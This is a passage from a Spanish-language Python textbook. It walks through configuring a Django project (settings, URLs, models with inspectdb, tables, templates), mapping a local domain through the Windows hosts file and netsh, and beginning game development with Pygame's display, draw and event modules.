    url(r'^admin/', admin.site.urls),
]
```

Ahora ingresamos a la URL: http://127.0.0.1:8000/

2.1.48 Configuración del Archivo setting.py

Necesitamos configurar la carpeta en el que se almacenen las hojas de estilo, framework y js

En el archivo urls del proyecto añadimos al final:

setting.py

```
"""
Django settings for proyecto1 project.
Generated by 'django-admin startproject' using Django 2.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'eq@$xc0ueb==1=s(-9az+@wy*5py=c7m#k1vkn31@v=tik3#os'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'apps.almacen',
]
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
```

```
ROOT_URLCONF = 'proyecto1.urls'
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
WSGI_APPLICATION = 'proyecto1.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.0/ref/settings/#databases
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}
# Password validation
# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.
UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.
MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.
CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.
NumericPasswordValidator',
    },
]
# Internationalization
# https://docs.djangoproject.com/en/2.0/topics/i18n/
```

```
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.0/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = [
    os.path.join(BASE_DIR, "static")
]
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
```

Necesitamos agregar una nueva variable que apunte a la carpeta static. En primer lugar, debemos crear una variable denominada:

STATICFILES_DIRS

Y dentro de esta variable indicamos la ruta:

```
STATIC_URL = '/static/'
STATICFILES_DIRS = [
    os.path.join(BASE_DIR, "static")
]
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
```

2.1.49 Copiar a la carpeta static

En Django existen 2 entornos de configuración de esta carpeta, una para producción y otra local.

Vamos a copiar las siguientes carpetas a la carpeta static:

2.1.50 Configuramos la url del proyecto1

urls.py

```
from django.conf.urls import include,url
from django.contrib import admin
from django.views.generic import TemplateView
from apps.almacen import views
app_name="almacen"
urlpatterns = [
    url(r'^$', TemplateView.as_view(template_name='index.html'), name='index'),
    url(r'^almacen/', include('apps.almacen.urls',namespace="almacen")),
    url(r'^admin/', admin.site.urls),
]
```

2.1.51 Creamos el archivo urls de la app Almacén

urls.py

```
app_name="almacen"
from django.conf.urls import url
from . import views
urlpatterns = [
    url(r'^$', views.index, name='index'),
]
```

2.1.52 Navegando Apps Almacen

Ahora con los cambios realizados iniciamos el servidor:

2.1.53 Creando el CRUD de Productos

2.1.53.1 QUÉ ES UN MODELO

Un modelo es un objeto Python que describe los datos de una tabla de una base de datos especifica. En lugar de trabajar directamente en la base de datos a través de SQL, solo necesita un modelo para ejecutar código SQL. Django también usa modelos para representar conceptos de alto nivel que no necesariamente pueden ser manejados por SQL.

> **ⓘ NOTAS**
>
> El manejo de base de datos en Django se ha creado para satisfacer una variedad de diferentes bases de datos: PostgresSQL, MySQL y Microsoft SQL Server. Para otros motores de base de datos.

2.1.53.2 CREAMOS EL ARCHIVO MODELS

Instalamos el paquete south:

```
Pip install south
```

```
C:\Windows\system32\cmd.exe
Microsoft Windows [Versión 6.3.9600]
(c) 2013 Microsoft Corporation. Todos los derechos reservados.

C:\Users\JorgeSantiago>pip install south
Collecting south
  Downloading South-1.0.2.tar.gz (96kB)
    100% |                                | 102kB 135kB/s
Building wheels for collected packages: south
  Running setup.py bdist_wheel for south ... done
  Stored in directory: C:\Users\JorgeSantiago\AppData\Local\pip\Ca
7b\35\788f2401ecf82b259bc2eade194276cd31524310c9706d7bcc
Successfully built south
Installing collected packages: south
Successfully installed south-1.0.2

C:\Users\JorgeSantiago>_
```

2.1.53.3 CREAMOS LOS MODELOS

En esta parte del libro veremos cómo importar la base de datos ya existente y colocar el modelo en el módulo correspondiente; también se puede crear el modelo en el archivo model.py de cada módulo y de ahí exportarlo a la base de datos a la cual se conecta el proyecto, pero en nuestro caso solo haremos el ejemplo para una base de datos ya existente dado a que es lo más común.

Para tal caso usaremos la introspección con la siguiente sentencia en el terminal:

```
python manage.py inspectdb
```

```
Símbolo del sistema
Microsoft Windows [Versión 10.0.16299.309]
(c) 2017 Microsoft Corporation. Todos los derechos reservados.

C:\Users\nolasco>cd proyecto1

C:\Users\nolasco\proyecto1>python manage.py inspectdb
# This is an auto-generated Django model module.
# You'll have to do the following manually to clean this up:
#   * Rearrange models' order
#   * Make sure each model has one field with primary_key=True
#   * Make sure each ForeignKey has `on_delete` set to the desired behavior.
#   * Remove `managed = False` lines if you wish to allow Django to create, modify, and delete the table
# Feel free to rename the models, but don't rename db_table values or field names.
from django.db import models


class AuthGroup(models.Model):
    name = models.CharField(unique=True, max_length=80)

    class Meta:
        managed = False
        db_table = 'auth_group'


class AuthGroupPermissions(models.Model):
    group = models.ForeignKey(AuthGroup, models.DO_NOTHING)
    permission = models.ForeignKey('AuthPermission', models.DO_NOTHING)

    class Meta:
        managed = False
```

Símbolo del sistema

```
    name = models.CharField(max_length=255)
    applied = models.DateTimeField()

    class Meta:
        managed = False
        db_table = 'django_migrations'


class DjangoSession(models.Model):
    session_key = models.CharField(primary_key=True, max_length=40)
    session_data = models.TextField()
    expire_date = models.DateTimeField()

    class Meta:
        managed = False
        db_table = 'django_session'


class Productos(models.Model):
    id = models.BigAutoField(primary_key=True)
    nombre = models.CharField(max_length=150)
    descripcion = models.CharField(max_length=500)

    class Meta:
        managed = False
        db_table = 'productos'

C:\Users\nolasco\proyecto1>
```

Seleccionar Símbolo del sistema

```
class DjangoSession(models.Model):
    session_key = models.CharField(primary_key=True, max_length=40)
    session_data = models.TextField()
    expire_date = models.DateTimeField()

    class Meta:
        managed = False
        db_table = 'django_session'

class Productos(models.Model):
    id = models.BigAutoField(primary_key=True)
    nombre = models.CharField(max_length=150)
    descripcion = models.CharField(max_length=500)

    class Meta:
        managed = False
        db_table = 'productos'

C:\Users\nolasco\proyecto1>
```

ⓘ NOTAS

python manage.py inspectdb

Este comando te pinta en la terminal la estructura de toda la base de datos, esto quiere decir que muestra todas las tablas incluidas las de administración del sistema y las tablas propias de nuestro sistema.

2.1.53.4 CAMBIOS A REALIZAR

Una vez realizado esto, se debe realizar algunos cambios debido a que la introspección no es perfecta por lo que es necesario ajustarlo.

Los cambios son básicamente a nivel de relación, claves primarias, claves foráneas, el tipo de campo, si es autoincrementado si usa un secuenciador, etc.

Ahora si hacemos un cambio en el modelo de Django y queremos actualizar la base de datos realizamos dos pasos:

- Primer paso verificar cambios.
  - **python manage.py makemigrations myapp** verifica si existe un cambio en el modelo relacionado a esa app
  - **python manage.py makemigrations** verifica si existen cambios en todos los modelos de las apps del proyecto
- El segundo paso actualizar la base de datos
  - **python manage.py migrate almacen**

2.1.53.5 MANEJO DE TABLAS

Instalando el soporte para el manejo de tablas dinámicas:

```
pip install django-datatable
```

models.py

```
from django.db import models
# Create your models here.
from django.db import models
class Productos(models.Model):
```

```
    id = models.BigAutoField(primary_key=True)
    nombre = models.CharField(max_length=150)
    descripcion = models.CharField(max_length=500)
    class Meta:
        managed = False
        db_table = 'productos'
```

NOTAS

El campo id es autoincremente por lo tanto deberá eliminar la siguiente línea:

```
id = models.BigIntegerField(primary_key=True)
```

Verificar la referencia 'django.template.context_processors.request' en el context_processors en el archivo setting la sección TEMPLATE OPTIONS.

```
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
             'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
```

Ahora creamos un archivo tables.py en el app: almacén:

```
from .models import Productos
from table import Table
from table.columns import Column
from table.utils import A
from table.columns import LinkColumn, Link
class PruebaTable(Table):
    id = Column(field='id', header=u'id')
    name = Column(field='descripcion', header=u'descripción')
    action = LinkColumn(header=u'edicion', links=[Link(text=u'edición',attrs={
        'class': 'btn btn-primary',
        'data-toggle': 'modal',
```

```
        'data-target': '#editarModal'
    },) ])
    action1 = LinkColumn(header=u'eliminar', links=[Link(text=u'eliminar'
attrs={
        'class': 'btn btn-warning',
        'data-toggle': 'modal',
        'data-target': '#eliminarModal'
    }, )])
    class Meta:
        model = Productos
```

2.1.54 Dentro de cada Apps se deberá crear una carpeta Templates:

Templates – almacen – index.html

Creando una plantilla y configurando página inicial del proyecto; primero creamos la plantilla:

Se crea una carpeta templates y dentro de esta se crean los archivos index.html (página inicial)

Index.html

```
{% extends 'base.html' %}
{% load static %}
{%block head%}
{% endblock %}
{%block title%}{{titulo_almacen}}{% endblock %}
{%block body%}
<p>{{titulo}}</p>
<p>{{id}}</p>
{% if form%} <!--Una vez registrado el valor ya no muestra e
boton Registrarse-->
<form method="post" action="">{% csrf_token %}
{{ form.as_p }}
    <button type="submit" class="btn btn-lg
btn-primary">Registrarse</button>
</form>
{% endif %}
{% endblock %}
```

2.1.55 Ejecutamos la Apps:

2.2 CONFIGURACIÓN DE SALIDA DE URL LOCAL EN WINDOWS

Esta configuración es válida para cualquier servidor web, el objetivo es el de que se muestra la posible url que se usara en internet, debido a que los costos para separar un dominio son bajos y con esto mostrar al/los posible(s) clientes una forma más amigable del producto final. Comencemos en nuestros mokcups tienen una url *inka.proy.alimentos.com* en lugar de 127.0.0.1:8000.

Configuración:

- Determinar la ip local con la que se cuenta:
  Abrir **cmd** como administrador escribir **ipconfig**

Ver la dirección IPv4 en este caso sería la siguiente 10.0.2.15, ahora abrimos el archivo hosts de Windows con el editor block de notas de forma administrador, ubicada en C:\Windows\System32\drivers\etc\hosts. Se le agrega la ip y la url a la cual queremos redireccionar.

El archivo queda de la siguiente forma.

```
hosts: Bloc de notas
Archivo  Edición  Formato  Ver  Ayuda
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost
10.0.2.15 inka.proy.alimentos.com
```

- Abrimos el archivo settings de nuestro proyecto Django y le agregamos la ip y la url en la propiedad ALLOWED_HOSTS, quedando de la siguiente forma
- ALLOWED_HOSTS = [‘10.0.2.15’,’inkadroid.proy.alimentos.com’]
- Volemos al cmd y escribimos lo siguiente:
- netshinterfaceportproxyaddv4tov4listenport=80listenaddress=10.0.2.15 connectport=8000 connectaddress=127.0.0.1

```
Administrador: Símbolo del sistema
C:\WINDOWS\system32>netsh interface portproxy add v4tov4 listenport=80 listenaddress=10.0.2.15 connectport=8000 connectaddress=127.0.0.1

C:\WINDOWS\system32>
```

Resultado final.

3

JUEGOS PYGAME

3.1 PYGAME

Pygame es un conjunto de módulos de Python, se utiliza para crear videojuegos. Pygame es Open Source Licenciado bajo la licencia GPL, lo que significa que se le permite básicamente hacer cualquier tipo De juego. Pygame da acceso a gráficos, sonido, teclado y otros dispositivos de entrada en diversas plataformas Linux, Mac OS X y Windows.

3.1.1 Instalar Pygame

Para instalar pygame deberá ejecutar el siguiente comando:

```
py -m pip install pygame –user
```

3.1.2 Comprobando el funcionamiento de Pygame

En un terminal ya abierto ejecute el comando (si tenemos éxito abrirá un juego):

py -m pygame.examples.aliens

3.1.3 Módulos Pygame

A la fecha PyGame cuenta de módulos que sirven para manejar desde la Lectora de CD, Teclado, Mouse, Pantalla, a continuación, un listado de los mismos:

- **Camera:** Módulo para usar la cámara (Experimental)
- **Cdrom:** Módulo que administra los dispositivos CDROM y la reproducción de CDs de audio
- **Color:** Módulo para representar objetos de tipo color
- **Cursors:** carga imágenes de cursor, incluyendo los cursores por defecto.
- **Display:** Módulo que controla la ventana principal o pantalla
- **Draw:** dibuja figuras simples sobre objetos Surface
- **Event:** administra eventos y la cola de eventos

- **Examples:** Módulo que contiene algunos programas de ejemplo
- **Font:** Módulo que genera e imprime fuentes tipográficas Truetype.
- **Gfxdraw:** Similar al módulo Draw solo que además acepta colores en formato RGBA
- **Image:** Lee y graba imágenes.
- **Joystick:** Administra dispositivos de joystick.
- **Key:** Administra el teclado.
- **Locals:** Módulo que contiene todas las constantes de pygame.
- **Mask:** Módulo para control de colisiones perfecta píxel a píxel.
- **Midi:** Lee y grabar archivos en formato MIDI.
- **Mixer:** Módulo para cargar y reproducir sonidos.
- **Mouse:** Permite controlar el ratón.
- **Movie:** Reproduce películas en formato MPEG.
- **Music:** Módulo para el control de streaming de audio
- **Overlay:** Módulo para brindar acceso al hardware de video
- **Pixelarray:** Objeto para el acceso directo a los píxeles de una superficie.
- **Rect:** Objeto para almacenar coordenadas retangulares.
- **Scrap:** Módulo para soporte de la porta papeles (Experimental).
- **Sndarray:** Manipula sonidos con Numeric.
- **Sprite:** Módulo para el manejo del objeto básico de un juego.
- **Surface:** Objeto para representar imágenes.
- **Surfarray:** Manipula imágenes con Numeric.
- **Tests:** Módulo para realizar pruebas.
- **Time**: Controlador de tiempo.
- **Transform:** Puede escalar, rotar e invertir imágenes.

3.1.4 3D y 2D

En este libro solo abarcaremos juegos en 2D, es la manera más sencilla de aprender la creación de juegos en un entorno 2D y luego realice la transición de pasar a 3D.

Las API 3D se basan en polígonos, Estos polígonos están formados por vértices con coordenadas en 3D.

Así que es lógico que al programar una aplicación en 2D, se hiciese mediante un sistema en el que las proyecciones y rasterizaciones no existan, y todos los cálculos sean únicamente operaciones enteras, que los procesadores pueden realizar mucho más rápido.

3.1.5 Herramientas a Utilizar

Vamos a centrarnos en juegos en 2D además explicaremos la idea de su funcionamiento para ello necesitamos algunas herramientas:

- Lenguaje de programación: Python
- IDE: PyCharm
- Apis Graficas: DirectX, OpenGL, SDL

Ciclo de Vida de un Juego

3.1.6 Sprite

Un Sprite es cualquier objeto que aparece en nuestro juego, aunque normalmente nos referimos a las imágenes de los personajes, los sorites pueden ser estáticos (los tiles del mapa) o dinámicos (un personaje de nuestro juego). Normalmente un Sprite trae consigo un conjunto de atributos los más comunes, imagen y posición en pantalla.

3.1.7 Resoluciones de Pantalla

Anteriormente mencionamos que las imágenes tienen un ancho y un alto dado en píxel a esto se llama resolución, la resolución no se aplica a la imagen solamente sino también a la pantalla, las resoluciones más estándares (algunas dependen de la dimensión del monitor) son:

320x200
320x240
640x480
800x600
1024x768
1152x864

NOTAS

La resolución de pantalla en un juego es de gran importancia y depende del tamaño de los sprites en el escenario.

3.1.8 Usando Pygame

El IDE que vamos a utilizar es PyCharm en el cual procederemos a crear nuestro el siguiente proyecto:

3.1.9 Instalando Pygame en pyCharm

Editamos la configuración.

Settings
Appearance & Behavior
Keymap
Editor
Plugins
Version Control
Project: juegos
Project Interpreter
Project Structure
Build, Execution, Deployment
Languages & Frameworks
Tools
Project: juegos › Project Interpreter
For current project
Project Interpreter:
3.6.1 (C:\Users\JorgeSantiago\AppData\Local\Pr...
Package
Version
Latest
Django 1.11.2 1.11.2
Kivy 1.10.0 1.10.0
Kivy-Garden 0.1.4
Pygments 2.2.0 2.2.0
certifi 2017.4.17 2017.4.17
chardet 3.0.4 3.0.4
docutils 0.13.1 0.14rc1
fastpublicsuffix 0.3 0.3
idna 2.5 2.5
pip 9.0.1 9.0.1
pytz 2017.2 2017.2
requests 2.18.1 2.18.1
setuptools 28.8.0 36.0.1
six 1.10.0 1.10.0
urllib2-file 0.2.1
urllib3 1.21.1 1.21.1
urllib5 5.0.0 5.0.0
OK
Cancel
Apply
Help

Available Packages
pygame
EzPyGame
JSTPyGame
Pygame
PygameGUILib
SimpleGUICS2Pygame
pygame-anisprite
pygame-music-grid
pygame_camera
pygame_cffi
pygame_fpak
pygame_loaders
pygame_sdl2
pygame_toolbox
pygame_vkeyboard
pygameday
Description
Python Game Development
Version
1.9.3
Author
Pete Shinners, Rene Dudfield, Marcus von Appen, Bob Pendleton, others...
mailto:pygame@seul.org
http://www.pygame.org
Specify version
1.9.3
Options
Install to user's site packages directory (C:\Users\JorgeSantiago\AppData\Roaming\Python)
Install Package
Manage Repositories

3.1.10 Listado de módulos útiles de Pygame

3.1.10.1 INIT

Inicializa el módulo display de pygame. El módulo display no puede hacer nada a menos que sea inicializado. Esto generalmente se hace por usted de forma automática cuando llama a la función de mayor nivel pygame.init()

```
pygame.display.init(): return None
```

3.1.10.2 COLOR

Objeto de pygame para representaciones de color.

```
pygame.Color(name): Return Color
pygame.Color(r, g, b, a): Return Color
pygame.Color(rgbvalue): Return Color
```

La clase Color representa valores de color RGBA usando un rango de valores de 0 a 255. Permite operaciones aritméticas básica para crear colores nuevos, soporta

conversiones a otros formatos de color como HSV o HLS y le permite ajuntar canales de color de manera individual.

r
Obtiene o define el componente rojo del Color.
Color.r: Return int
El valor rojo de un Color.

g
Obtiene o define el componente green del Color.
Color.g: Return int
El valor verde del Color.

b
Obtiene o define el componente azul del Color.
Color.b: Return int
El valor azul del Color

a
Obtiene o define el componente alpha (transparencia) del Color.
Color.a: Return int
El valor alpha (transparencia) del Color

Ejemplo:

```
#color rojo
mi_color = PyGame.Color((255,0,0))
```

3.1.10.3 DISPLAY

Módulo de pygame para controlar la ventana y pantalla de visualización

Ejemplo:

```
ANCHO = 640
ALTO = 480
pantalla = pygame.display.set_mode((ANCHO,ALTO),0,32)
```

3.1.10.4 FLIP

Actualizara el contenido de la pantalla completa.

```
pygame.display.flip()
```

3.1.10.5 UPDATE

Sirve para actualizar solamente porciones de la pantalla.

```
pygame.display.update(rectangle=None) returnNone
pygame.display.update(rectangle=rect_list) return None
```

3.1.10.6 QUIT

Deshabilita el módulo de video.

```
pygame.display.quit(): return None
```

Apagará el módulo display entero. Esto significa que cualquier pantalla activa se cerrará. Esto también se puede manejar de forma automática cuando el programa se cierra.

Es inofensivo llamar a esta función más de una vez, las sucesivas llamadas no tendrán efecto.

3.1.10.7 SET_MODE

Inicializa una ventana o la pantalla para visualizar.

```
pygame.display.set_mode(resolution=(0,0), flags=0, depth=0): return Surface
```

Esta función construirá una superficie de pantalla. Los argumentos que se le envían solicitan el tipo de pantalla deseado. Si no especifica ningún argumento, la pantalla generada será tan grande como el mejor modo de video soportado por el sistema. El argumento resolution es una tupla de números que representan el ancho y alto. El argumento flags es una colección de opciones adicionales. El argumento depth representa el número de bits utilizados por color.

El objeto Surface retornado se puede manipular como un objeto Surface normal, solo que los cambios eventualmente se podrán observar en el monitor. Si no se especifica una resolución, o esta se define en (0, 0) y pygame utiliza la versión 1.2.10 de SDL o superior, la superficie creada tendrá el mismo tamaño que la resolución de pantalla actual. Si solo se define el ancho o alto a 0, la superficie tendrá el mismo alto o ancho de la resolución de pantalla. Se lanzará una excepción si está utilizando una versión menor a 1.2.10 de SDL. Generalmente es mejor no especificar el argumento depth. Por defecto este coincidirá con la mejor y más rápida profundidad de color para el sistema. Si su juego requiere un formato de color específico, el argumento depth puede definirlo. Pygame puede emular una profundidad de color no disponible, aunque esto puede ser muy lento. Cuando solicita modos de video

en pantalla completa, a veces no se puede definir un modo de video exactamente igual al solicitado. En esas situaciones pygame seleccionará el modo de video más cercano. Aun así, la superficie que se retorna siempre coincidirá exactamente con la resolución solicitada. El argumento flags define que tipo de pantalla desea. Hay varias opciones para elegir, e incluso usted puede combinar varias opciones usando operaciones de bits, usando el operador "|" pipe.

Opción	Significado
pygame.FULLSCREEN	Genera una visualización de pantalla completa
pygame.DOUBLEBUF	Recomendado para combinar con HWSURFACE u OPENGL
pygame.HWSURFACE	Aceleración por hardware, solo funciona conjuntamente con FULLSCREEN
pygame.OPENGL	Genera una pantalla que se puede dibujar con opengl
pygame.RESIZABLE	La ventana se debe poder cambiar de tamaño
pygame.NOFRAME	La ventana no deberá tener bordes, titulo o controles

3.1.10.8 ICONIFY

Minimiza la aplicación.

```
pygame.display.iconify(): return bool
```

Solicita al sistema de ventanas que oculte o minimice la pantalla. No todos los sistemas y pantallas soportan esta opción. La función retornará True en caso de éxito.

Cuando la pantalla está minimizada la función pygame.display.get_active() retornará False. La cola de eventos debería recibir el evento ACTIVEEVENT cuando la ventana se minimiza.

3.1.10.9 TOGGLE_FULLSCREEN

Alterna entre la visualización de ventana o pantalla completa.

```
pygame.display.toggle_fullscreen(): return bool
```

Alterna entre los modos de video pantalla completa y ventana. Esta operación solo funciona bajo el controlador x11 de unix. Para la mayoría de las situaciones es mejor llamar a pygame.display.set_mode() con las nuevas opciones de pantalla.

3.1.10.10 SET_CAPTION

Define el título de la ventana.

```
pygame.display.set_caption(title, icontitle=None): return None
```

Si la pantalla tiene un título de ventana, esta función cambiará ese título. Algunos sistemas soportan un título alternativo más corto para utilizarse en ventanas minimizadas.

3.1.10.11 GET_CAPTION

Obtiene el título de la ventana.

```
pygame.display.get_caption(): return (title, icontitle)
```

Retorna el título principal y el título alternativo (para ventanas minimizadas) de la ventana principal. Estos generalmente tienen el mismo valor.

3.1.10.12 DRAW

Módulo de pygame para dibujar figuras.

- draw
- rect
- polygon
- circle
- ellipse
- arc
- line
- lines

3.1.10.13 RECT

Dibuja una figura rectangular.

```
pygame.draw.rect(Surface, color, Rect, width=0): return Rect
```

Dibuja una figura rectangular sobre una superficie. El parámetro Rect dado es el área del rectángulo. El argumento width es el espesor para dibujar el borde exterior de la figura. Si width se define con valor 0 entonces el rectángulo se pintará completo.

3.1.10.14 POLYGON

Dibuja una figura con cualquier número de lados.

```
pygame.draw.polygon(Surface, color, pointlist, width=0): return Rect
```

Dibuja una figura poligonal en una superficie. El argumento pointlist es una lista de los vértices del polígono. El argumento width es el espesor para dibujar el borde de la figura. Si width es 0 entonces el polígono se pinta por completo.

Para lograr un polígono con bordes suaves utilice aalines con el parámetro closed

3.1.10.15 CIRCLE

Dibujar un círculo alrededor de un punto.

```
pygame.draw.circle(Surface, color, pos, radius, width=0): return Rect
```

Dibuja una figura circular sobre una superficie. El argumento pos es el centro del círculo, y radius es el tamaño. El argumento with es el espesor del borde de la figura. Si with es 0 entonces el círculo se pintará por completo.

3.1.10.16 ELLIPSE

Dibuja una elipse dentro del área indicada por un rectángulo.

```
pygame.draw.ellipse(Surface, color, Rect, width=0): return Rect
```

Dibuja una figura elíptica en una superficie. La figura se dibujará en el área delimitada por el rectángulo dado.

3.1.10.17 ARC

Dibuja una sección parcial de una elípse.

```
pygame.draw.arc(Surface, color, Rect, start_angle, stop_angle, width=1): return
```

Dibuja un arco elíptico en una superficie. La figura se dibujará en el área delimitada por el rectángulo. Los dos argumentos angle son los ángulos inicial y final en radianes, donde 0 representa la izquierda. El argumento width es el espesor de la línea de dibujo.

3.1.10.18 LINE

Dibuja un segmento de línea recto.

```
pygame.draw.line(Surface, color, start_pos, end_pos, width=1): return Rect
```

Dibuja un segmento de línea recto en una superficie. No se dibujan puntas en los extremos de la línea, las terminaciones serán cuadradas para líneas muy gruesas.

3.1.10.19 EVENTOS

Pygame maneja todos sus mensajes de eventos a través de una cola de eventos. Las rutinas de este módulo le ayudarán a manejar esta cola de eventos. Los eventos de entrada son extremadamente dependientes del módulo display de pygame. La cola de eventos no funcionará a menos que se halla inicializado el módulo display y el modo de video.

La cola de eventos es una lista de objetos Event, hay diversas maneras de acceder a los eventos que esta contiene. Desde consultar por la existencia de eventos, a extraerlos directamente de la pila.

Todos los eventos tienen un identificador type. Este identificador está entre los valores NOEVENT y NUMEVENTS. Todos los eventos definidos por el usuario pueden tener el valor de USEREVENT o superior. Se recomienda asegurarse de que sus identificadores de evento sigan este sistema.

Para obtener el estado de varios dispositivos de entrada puede olvidar la cola de eventos y acceder a los dispositivos directamente desde sus módulos asignados: mouse, key y joystick. Si usa este método, recuerde que pygame requiere alguna forma de comunicación con el sistema de ventanas y otras partes del sistema. Para mantener a pygame en coherencia con el sistema necesita llamar a pygame.event.pump periódicamente, usualmente una vez por ciclo del bucle de juego.

La cola de eventos ofrece una forma de filtro simple. Esto puede ayudar a mejorar el rendimiento bloqueando ciertos tipos de eventos de la cola, use las funciones pygame.event.set_allowed() y pygame.event.set_blocked() para trabajar con este filtrado. Por defecto todos los eventos están permitidos.

Los controles de Joystick no emitirán ningún evento a menos que se inicialice el dispositivo.

Un objeto Evento contiene un tipo de evento y un conjunto de miembros, o atributos, de solo lectura. El objeto Evento no contiene métodos, solo información. Estos objetos se obtienen desde la cola de eventos. E incluso puede crear sus propios eventos con una llamada a pygame.event.Event().

Su programa debe seguir ciertos pasos para evitar que la cola de eventos se sobrepase del límite. Si el programa no limpia o elimina los eventos de la cola de eventos en intervalos regulares, esta podría desbordarse. Se lanzará una excepción si la cola desborda.

Todos los objetos Event contienen un identificador de tipo en el atributo Event.type. Ustedpuede obtener acceso a todos los atributos del evento a través el método Event.dict. Todas las otras búsquedas de atributos pasarán a través de los valores de diccionario del evento.

Puede imprimir los objetos Event para ver rápidamente su tipo y atributos mientras depura o experimenta. Los eventos que vienen desde el sistema tendrán un grupo asegurado de atributos basados en cada tipo. Esta es una lista de los atributos de evento que se definen para cada tipo:

Tipo (atributo `type`)	Atributos
QUIT	none
ACTIVEEVENT	gain, state
KEYDOWN	unicode, key, mod
KEYUP	key, mod
MOUSEMOTION	pos, rel, buttons
MOUSEBUTTONUP	pos, button
MOUSEBUTTONDOWN	pos, button
JOYAXISMOTION	joy, axis, value
JOYBALLMOTION	joy, ball, rel
JOYHATMOTION	joy, hat, value
JOYBUTTONUP	joy, button
JOYBUTTONDOWN	joy, button
VIDEORESIZE	size, w, h
VIDEOEXPOSE	none
USEREVENT	code

3.1.10.20 CLEAR

Elimina todos los eventos de la cola.

pygame.event.clear(): return None
pygame.event.clear(type): return None
pygame.event.clear(typelist): return None

Elimina todos los eventos (o de un tipo específico) de la cola. Esta función tiene el mismo efecto que pygame.event.get() excepto que no retorna nada. Puede ser ligeramente más eficiente cuando limpia toda la cola de eventos.

3.1.11 Paquete pygame

```
Import pygame
```

La línea anterior nos permite usar todo un paquete de funciones relacionadas al manejo de pantallas, imágenes y audio y lógica de colisiones.

3.1.12 Preparando nuestro entorno

Nuestro entorno de desarrollo que consiste en indicar las herramientas a utilizar:

1. Un editor de textos o IDE.
2. Una terminal.
3. Un directorio donde almacenaremos todo, código, imágenes, audio y lo que se nos ocurra.

3.1.12.1 INDICAMOS LIBRERÍAS A UTILIZAR

Importamos la librería pygame y sys.

```
import sys
import pygame
```

3.1.12.2 EL ANCHO Y ALTO DE LA VENTANA DEL JUEGO

Aquí deberemos definir el ancho y alto de nuestra Ventana para nuestro juego:

```
#ancho
ANCHO = 640
#alto
ALTO = 480
```

3.1.12.3 CREANDO NUESTRA VENTANA

Esto mostrará una ventana del tamaño deseado

```
pantalla = pygame.display.set_mode((ANCHO,ALTO),0,32)
```

3.1.12.4 NUESTRA PRIMERA EJECUCIÓN

Observamos que se muestra y se cierra rápidamente la ventana:

3.1.12.5 TÍTULO DE LA VENTANA

Colocamos un título a la pantalla

```
pygame.display.set_caption("Mi Primer Ejemplo")
```

3.1.12.6 NUESTRA SEGUNDA EJECUCIÓN

Observamos que se muestra y se cierra rápidamente la ventana:

3.1.12.7 COLOCAR UN CICLO INFINITO

Ahora colocamos un ciclo Infinito para que no se cierre la ventana.

```
while True:
    pass
```

3.1.12.8 REEMPLAZAR

Ahora reemplacemos **pass** por **pygame.display.flip()** para redibujar la pantalla.

```
while True:
    pygame.display.flip()
```

3.1.12.9 MOVER Y CERRAR LA VENTANA

Para ello revisaremos los eventos:

```
while True:
    for evento in pygame.event.get():
        # si  el evento es cerrar
        if evento.type == pygame.QUIT:
            # salir
            sys.exit()
    pygame.display.flip()
```

3.1.12.10 NUESTRA TERCERA EJECUCIÓN

Ahora podemos mover y cerrar la ventana:

3.1.13 Mi segundo ejemplo

